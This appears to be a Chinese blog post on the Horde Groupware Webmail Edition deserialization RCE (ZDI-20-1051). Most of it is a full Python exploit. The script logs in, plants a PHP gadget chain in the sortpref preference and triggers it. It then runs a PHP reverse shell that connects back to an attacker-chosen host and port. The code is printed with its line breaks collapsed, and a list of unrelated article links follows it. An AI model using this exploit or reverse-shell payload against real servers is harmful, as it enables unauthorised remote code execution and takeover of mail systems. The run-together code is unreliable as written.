0x00 简介

Horde Groupware Webmail是美国Horde公司的一套基于浏览器的企业级通信套件。 Horde Groupware Webmail中存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。

0x01 漏洞详情

ZDI-20-1051
ZDI-CAN-10436

此漏洞使远程攻击者可以在受影响的Horde Groupware Webmail Edition安装上执行任意代码。利用身份验证才能利用此漏洞。

具体缺陷存在于Sort.php中。解析sortpref参数时,该过程无法正确验证用户提供的数据,这可能导致不信任数据的反序列化。攻击者可以利用此漏洞在www-data用户的上下文中执行代码。

0x02 利用工具

import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Threaddef rs(cbh, cbp):return """@error_reporting(-1);
@set_time_limit(0);
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);$dis=array_map('trim', $dis);
}else{$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){global $dis; if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";}ob_start();system($c);$o=ob_get_contents();ob_end_clean();if (strlen($o) === 0){$o = "NULL";}return $o;
}
$nofuncs='no exec functions';
$s=@fsockopen("tcp://$ipaddr",$port);
while($c=fread($s,2048)){$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1));}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {break;}else{$out=PtdSlhY(substr($c,0,-1));if($out===false){fwrite($s, $nofuncs);break;}}fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)def get_session(t, p, usr, pwd):uri = "http://%s%slogin.php" % (t, p)p = {"login_post" : 1337,"horde_user" : usr,"horde_pass" : pwd}r = requests.post(uri, data=p, allow_redirects=False)match = re.findall("Horde=(.{26});", r.headers['set-cookie'])assert len(match) == 2, "(-) failed to login"return match[1]def trigger_deserialization(t, p, s, host, port):""" Object instantiation to reach the deserialization """handlerthr = Thread(target=handler, args=(port,))handlerthr.start()uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)p = {"imple" : "IMP_Prefs_Sort","app" : "imp",}h = { "cmd" : base64.b64encode(rs(host, port).encode()) }c = { "Horde" : s }r = requests.get(uri, params=p, cookies=c, headers=h)match = re.search("horde_logout_token=(.*)&", r.text)assert match, "(-) failed to leak the horde_logout_token!"p['token'] = match.group(1)r = requests.get(uri, params=p, cookies=c, headers=h)assert r.status_code == 200, "(-) failed to trigger deserialization!"def get_pop():""" An updated pop chain """pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'pop += 'S:8:"\\00*\\00_opts";a:1:{'pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'pop += '}i:1;s:13:"readXMLConfig";}}'pop += 'S:10:"\\00*\\00_scopes";a:1:{'pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serializepop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checkspop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'return popdef get_patch():""" Our original array """patch  = 'a:1:{'patch += 's:5:"INBOX";a:1:{'patch += 's:1:"b";i:6;'patch += '}}'return patchdef set_pref(t, p, s, k, o):""" A primitive that inserts a string into the database """uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)p = {"pref" : k,"value" : o,}c = { "Horde" : s }r = requests.get(uri, params=p, cookies=c)match = re.search("horde_logout_token=(.*)&", r.text)assert match, "(-) failed to leak the horde_logout_token!"p['token'] = match.group(1)r = requests.get(uri, params=p, cookies=c)assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"def handler(lport):print("(+) starting handler on port %d" % lport)t = telnetlib.Telnet()s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(("0.0.0.0", lport))s.listen(1)conn, addr = s.accept()print("(+) connection from %s" % addr[0])t.sock = connprint("(+) pop thy shell!")t.interact()def fix_path(p):if p == "/":return pif not p.startswith("/"):p = "/%s" % pif not p.endswith("/"):p = "%s/" % preturn pdef main():if len(sys.argv) < 5:print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])sys.exit(0)target = sys.argv[1]path   = fix_path(sys.argv[2])user   = sys.argv[3].split(":")[0]pswd   = sys.argv[3].split(":")[1]host   = sys.argv[4].split(":")[0]port   = int(sys.argv[4].split(":")[1])print("(+) targeting http://%s%s" % (target, path))session = get_session(target, path, user, pswd)print("(+) obtained session %s" % session)set_pref(target, path, session, 'sortpref', get_pop())print("(+) inserted our php object")print("(+) triggering deserialization...")trigger_deserialization(target, path, session, host, port)set_pref(target, path, session, 'sortpref', get_patch())print("(+) repaired the target!")if __name__ == "__main__":main()

0x03 references

https://www.zerodayinitiative.com/advisories/ZDI-20-1051/
https://srcincite.io/pocs/zdi-20-1051.py.txt

author – desM0nd

【0day RCE】 Horde Groupware Webmail Edition RCE相关推荐

  1. 【web安全】——命令执行漏洞(RCE)详解

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...

  2. 【开源项目分享】Aegisub [Daydream Cafe] Edition(Aegisub 9212 开发版)

    下载链接:https://github.com/Ristellise/AegisubDC/releases/tag/9212 github来源:https://github.com/Ristellis ...

  3. 开发者论坛一周精粹(第十七期) :【漏洞预警】Windows再被爆SMB服务0day漏洞,阿里云提示您关注并修复...

    第十七期(2017年7月31日-2017年8月6日 ) 在美国拉斯维加斯举行的2017年度DEF CON黑客大会上,安全研究人员公布了Windows系统上的一个长达20年没有发现的漏洞,该漏洞名为&q ...

  4. 【虎书】Fundamentals of Computer Graphics(Fourth Edition)第二章习题解答

    [虎书]Fundamentals of Computer Graphics(Fourth Edition)第二章章末习题解答 Exercises Exercise 1: Cardinality of ...

  5. 【关于nginx升级---存在0day漏洞】

    [关于nginx升级---存在0day漏洞]

  6. 经典算法书籍推荐以及算法书排行【算法四库全书】

    经典算法书籍推荐以及算法书排行[算法四库全书] 作者:霞落满天   https://linuxstyle.blog.csdn.net/    https://blog.csdn.net/21aspne ...

  7. 【iOS工具】rvm、Ruby环境和CocoaPods安装使用及相关报错问题解决(2016 12 15 更新)...

    〇.前言 在iOS开发中 [CocoaPods](https://github.com/CocoaPods/CocoaPods) 作为库依赖管理工具就是一把利器. 有了 CocoaPods 则无需再通 ...

  8. oracle rac服务供应商,【Oracle Database】Oracle RAC(八):服务资源管理

    [Oracle Database]Oracle RAC(八):服务资源管理 发布时间:2020-07-24 15:02:47 来源:51CTO 阅读:210 作者:NOGYMS Service资源 每 ...

  9. oracle数据库修改写入状态,【学习笔记】Oracle oradebug 使用oradebug修改数据库SCN方法案例...

    天萃荷净 使用oradebug修改数据库scn,使用oradebug修改数据库scn的案例. 这里也做了两个测试,发现该功能确实很巧妙,通过修改内存中的scn值,然后写入控制文件和数据文件,实现修改s ...

最新文章

  1. 功能演示:戴尔PowerConnect 8024交换机VLAN的创建与删除
  2. SAP EWM中仓库任务WT创建的函数
  3. 计算机组成原理 — IPMI/BMC
  4. Python高级函数
  5. Redis的入门(一)常用命令
  6. P3327 约数的个数和 [约数函数性质,数论分块]
  7. C do...while 循环
  8. table表格表头不懂,内容y轴滚动
  9. 优秀的功能测试也可以胜任技术测试者的工资
  10. 怎么解决文件正在使用无法删除----资源监视器
  11. DLL的远程注入技术
  12. SSH2(Struts2、Spring3与Hibernate3)的整合
  13. How browsers work----Introduction
  14. 电脑该如何选择(小仙女篇)
  15. android 分享给好友,手机将安卓软件分享给好友的方法
  16. 用Python实现序列帧播放器
  17. 谷歌、亚马逊全面开火,一场前所未有的AI芯片大战
  18. c语言中的用户标识符是什么,C语言中用户标识符是什么?
  19. redis数据类型介绍
  20. mysql脏读解决方案_MySQL为什么可以解决脏读和不可重复读?

热门文章

  1. c语言欺凌,《中国校园欺凌调查报告》发布 语言欺凌占主导
  2. Java代理服务器---Freedom_Server
  3. SUMO学习日志(一)SUMO安装
  4. CodeForces - Feng Shui(半平面交)
  5. 打通MySQL架构和业务的任督二脉
  6. 利用SimpleTagSupport创建定制标签
  7. 计算机毕业设计SSM大学生健康管理系统的设计与实现【附源码数据库】
  8. VmatrixOJ--[H 1003] 小壕的礼物
  9. AM335x启动流程(bootrom)
  10. Linux入门(八)Shell脚本